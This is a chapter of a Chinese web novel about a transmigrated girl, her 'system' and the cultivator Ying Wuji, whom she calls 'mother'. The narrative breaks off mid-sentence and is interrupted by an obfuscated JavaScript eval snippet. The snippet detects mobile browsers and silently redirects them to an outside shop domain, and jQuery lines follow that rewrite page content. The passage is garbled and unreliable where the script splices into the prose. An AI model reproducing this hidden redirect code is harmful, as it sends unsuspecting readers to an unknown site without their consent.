尽管他的动作已经很快了,但那股力量还是注入了柳沅的身体,对她的经脉造成了强烈的冲击。
剧痛之下,她面色发白,鬼使神差地还要去抓他的手。应无霁甩出桃木枝,狠狠敲了下她的脑袋,这才把她唤醒。
“刚才……那是……”柳沅吐出一口浊气,十分后怕地把手放到了胸口。
【我身上的能量又开始波动了,所以才会和你保持距离。】
一般情况下,应无霁只会对他的行为作出解释,并不会说些多余的话,但这次,他犹豫了一会儿,继续写道:没有故意不理你,让你不开心,我很抱歉。
咦?柳沅微微一怔,望向应无霁的眼神中掠过一丝惊诧,又很快被喜悦所取代。
“哎,以前她从来都不会对我解释的,但这次说了。这是不是说明我们之间的关系已经稍微近一点了?”她沾沾自喜地问系统。
系统没有回答,但柳沅默认自己的分析是正确的,一时之间也不在意身体的疼痛了,心情舒畅地冲着应无霁露出一个笑来。
应无霁见她表情放松,不像有事的样子,打算离开。
但柳沅想趁热打铁提升提升好感度,迅速伸手去抓他的衣角,又被桃木枝狠狠敲了下。
“哎哟。”她痛呼一声,龇牙咧嘴地收回手。
应无霁微蹙眉毛,下巴微微抬着,烦躁地看了她一眼。
一行字缓缓浮现在她眼前:【刚才还没长记性?】
柳沅对着他嘿嘿一笑,趁机走到他身边,没话找话道:“你……你每天出去是见什么人吗?我好像总是看见你出去,是见朋友吗?”
柳沅突然的热情让应无霁有点困惑。
自己不过是和她多说了几句话,这人怎么就开心成这样?
他不解,又实在不喜欢和人挨得太近,于是微微往旁边撤了几步,摇了摇头。
不是去见朋友?柳沅心中警铃大作,不是朋友,那不就是恋人吗?
她灿烂的笑容凝结在了脸上。
“那是去见喜欢的人吗?”她几乎是咬着后槽牙问出这句话。
应无霁点头。
那一瞬间,柳沅感觉自己的神魂骤然离体,仿佛下一刻就要消失在这世界上了。
去——见——喜——欢——的——人——
她深吸一口气,感受着心中沸腾着的滚烫怒气,绝望地嘶吼道:“你什么时候有喜欢的人了?他是谁?我认识吗?你们进展到哪一步了?”
“娘亲,你不仗义啊,你怎么能现在才告诉我!”
【别这样叫我,不是你想的那样。】
应无霁有些无奈地写道
“那是什么样?”柳沅的表情十分无助,想到了更坏的一种情况。
这两人不会已经生米煮成熟饭了吧?按照应无霁这种什么都闷着不说的性格,主动承认去见喜欢的人,那不就是情感稳定了,要考虑成亲的事情了吗?
柳沅这么一分析后,发现自己更绝望了。
她的任务,她的性命,难道就要败在这么所谓的小青手中了吗?
不,不行!她不能就这么不明不白地死了。
见她一副要死要活的样子,应无霁迟疑了一瞬,摇了摇头。
这让差点死去的柳沅抓住了一丝希望,急促追问道:“你不喜欢吗?”
应无霁刚想点头,突然发现柳沅的眼神太热切了,好像她比他更在乎这个问题。
他嘴角微微扬起,故意摇摇头。果然,柳沅的脸色突然变得灰暗,整个人也蔫了下来。
“完了,一切都完了。”她绝望地呢喃道。
娘亲喜欢上别人了,喜欢上的人还不是男主,完蛋了,全完了。
不过……
她的心里渐渐浮起一个邪恶的想法。
既然木已成舟,娘已爱人……
柳沅阴恻恻地想:那就拆散他们,狠狠地拆散他们!
应无霁压根不知道柳沅认定了他和那个散修是一对,也压根不知道她制定的拆散计划。他微微弯了弯腰,好奇地观察着柳沅莫名变幻的神情,嘴角上扬了一个明显的弧度。
于是柳沅刚刚经历完头脑风暴,好不容易在拆散这两人的幻想中消散掉怨气,就看见眼前出现了一行字:你比小青有意思多了。
她刚扬起的嘴角立刻就垮了下去。
“噗,”系统忍不住笑了出来,“这样看来在娘亲心里,你比那个散修重要。这算是个好消息。”
柳沅生无可恋地抬起头,望着自家娘亲美丽的脸,心痛的快要流血。
“我不会允许他抢走娘亲的,绝对不会!”她攥紧了拳头,神情悲愤。尽管她目前的修炼水平刚刚入门,但是起码有一战之力。如果利用计谋拆不开,还是可以用武力争取一下的。
只要对方不要太厉害。
她默默给自己打气。
应无霁弯弯眼睛,眼眸里的雾气顿时化作一池春水,勾的她心跳慢了半拍。
【加把劲,我相信你能做好。】
柳沅愣了半天都没想清楚这句话是什么意思,直到耳边响起系统憋笑的声音:“你刚才把那句话喊出来了。”
哪句话?她还想了一下。
片刻后,应无霁看见柳沅迅速低下头,脖子全红透了。
他忍不住笑了,转身离去。
过了很久柳沅的体温才恢复正常,而等她回过神来,桌子上已经摆好了饭菜。她茫然地抬起头,目光落在应无霁房间紧闭的门上。
“看来娘亲还没完全忘记你这个女儿,还记着给你做饭呢。”系统调侃道。
柳沅心事重重地拿起筷子,机械地往嘴里扒饭。
这一顿饭吃的真是味同嚼蜡,她兴致不高,匆匆吃完收拾好碗筷便回了房间。
深夜
巨大的白色月亮挂在漆黑的天幕之上,应无霁站在房顶上,凝望着月亮。
突然,远处传来一阵清晰的脚步声,时快时慢,有时像蹦蹦跳跳刚学会走路的小孩,有时又像暮年垂垂老矣的老者。
应无霁转过身,望向来者。
一个红衣女子。
“又见面了。”女子的声音很低沉,语气里带着淡淡的疏离。
应无霁俯视着她,沉默着举起了手里的桃木枝。
“你不用这么警惕,我们是来帮你的。”她抬起头,月光洒在那张艳丽的脸上,让她看起来像随时会消失的鬼魅。
“你可以期待一下,”她特意停顿了一下,带着极大的恶意说道:“你这次能不能死成?”
闻言,应无霁连表情都没变,依旧冷冷地盯着她,好像她只要做出一点奇怪的举动,他就会立即出手把她杀掉。
女子能清楚地感知到他的杀意,意味不明地笑了一声:“我来只是通知你,做好准备,说不定这次你的愿望就能实现了。”
“当然,代价也很大。”她不知道想到了什么,表情变得十分期待。
说完,她晃晃缠在手腕上的红飘带,就要转身往院子外走去。
但应无霁才不会这么轻易地放她离开。
只见他猛然发力,一直藏在宽大的袖子中的桃木枝瞬间出动,精准地穿过了女子的后背,带着斑斑血迹,又回到了那双白皙修长的手中。
红衣化作一滩不明的黑血,被黑暗中涌出的怪物分食。
应无霁厌恶地甩掉桃木枝上沾着的血迹,冷漠地转身,继续去看那巨大的月亮。
“哎,你知道吗?昨晚上有个入梦人突然失踪了,尸体都没发现!”
“那些妖魔鬼怪已经这么厉害,能够无声无息地杀死入梦人了吗?”
柳沅刚从酒楼中出来,就听见一群人凑在一个告示牌前面,叽叽喳喳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012481|190110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
讨论着。她听到了入梦人的字眼,于是也好奇着凑了上去。
只见告示牌的正中央,有几个红色的大字——再来,格杀勿论。
那字写的潦草,但是柳沅总觉得有点熟悉。
不会是应无霁写的吧?她被自己突然蹦出来的想法吓到了,连连摇头。
怎么可能是应无霁呢?虽然她是一个修仙者,但也是一个手无缚鸡之力的弱女子啊,怎么可能杀的掉入梦人呢?
柳沅又往里挤了挤,想再听些别的八卦,突然发现前几天贴在告示牌上的方家告示不见了。
“哎,这方家的告示怎么不见了?”她随口问道。
右臂传来一阵挤压力,柳沅转头望去,发现是一个穿着白衣的书生。书生摇着扇子,神神秘秘道:“那天这告示被人摘下的时候我正好在,你知道是谁摘下来的?“
他这么一说,柳沅突然有点印象,好像当时她也在场,只看到了那人的背影。
很像应无霁。
见她一脸茫然,书生得意地一挥扇子,高声道:“是一个姑娘!“
“那姑娘看着手无缚鸡之力,竟然还敢掺和方家这趟浑水,论胆量,我想她称第二,没人敢称第一。“
闻言,柳沅忍不住问道:“方家怎么了?为什么你说这是一趟浑水?”
书生刚要接着说,远处突然传来一阵马蹄声,一群穿着官兵服饰的人鱼贯而出,人群大叫着四散,柳沅也被人流冲开。等到街上重新恢复秩序,那书生已经不知哪里去了。而柳沅抱怨着人多差点把她拿着的东西挤掉,匆忙走到路边,开始清点自己买的纸笔和首饰。
呼——
一阵突如其来的风吹开了她垂在胸前的小辫子,柳沅抬头,发现自己正站在方府的大门口。
大门敞开着,似乎专门等着她的到来。
又是一阵风,柳沅猛地回头,却只看见一道急速消失的红色背影。
她愣了愣,正犹豫要不要进去,突然,耳边响起系统的提示音:支线任务触发——寻找药材,为娘亲医治旧伤。
“本书女主和男主决裂后大战一场,受了很严重的伤,久久不愈。为加快任务进度,早日让男女主解开误会,请宿主在十天时间内潜入方府,找到名为甘月草的药材,帮助娘亲治伤。”
“任务奖励一张信息卡,上面包含本书男主的基本信息,对后续任务帮助很大。若宿主无法在规定时间内完成任务,将遭受电击惩罚。”
支线任务?治疗伤口?柳沅若有所思地望着空无一人的大门,莫名有种不详的预感。
这门大开着,怎么看都很不对劲吧。她咽了咽口水,还是决定冒险一试。
反正就只是进去看看,先去探探路。她这样想着,偷偷摸摸进了大门。
刚走过几个拐角,柳沅就迎面碰上了一个穿着红衣,扎着大红花的丫鬟。她下意识后退,拔腿就跑,谁料丫鬟比她速度更快,一把拉住她的胳膊,把她拽了回来。
“你跑什么,大小姐明日就要出嫁了,你快些过来帮着收拾东西。”丫鬟瞪了她一眼,一边说一边把她往前拉。
不对,她没发现自己不是方府的人?柳沅惊讶地望着丫鬟,踉跄着跟着丫鬟的步伐往前走。
期间,她低头去看自己的衣服,惊讶地发现竟然和丫鬟穿的一模一样。可她分明记得自己出来时穿的是那身烟粉色的衣裳。
怎么会突然变了呢?
顾不上多想,丫鬟已经把她拉到了一间花团锦簇的院子里,指了指堆在院子走廊上的箱子,不耐烦道:“快去把这些东西都搬走了,小姐走路本就不方便,这样更是碍事了。”
柳沅被使唤的一愣一愣的,忙搬起一个箱子,朝着丫鬟说的库房的方向走去。
小姐走路不方便?她琢磨着这话的意思,推测这大小姐可能是个瘸子,又或者,腿受了伤?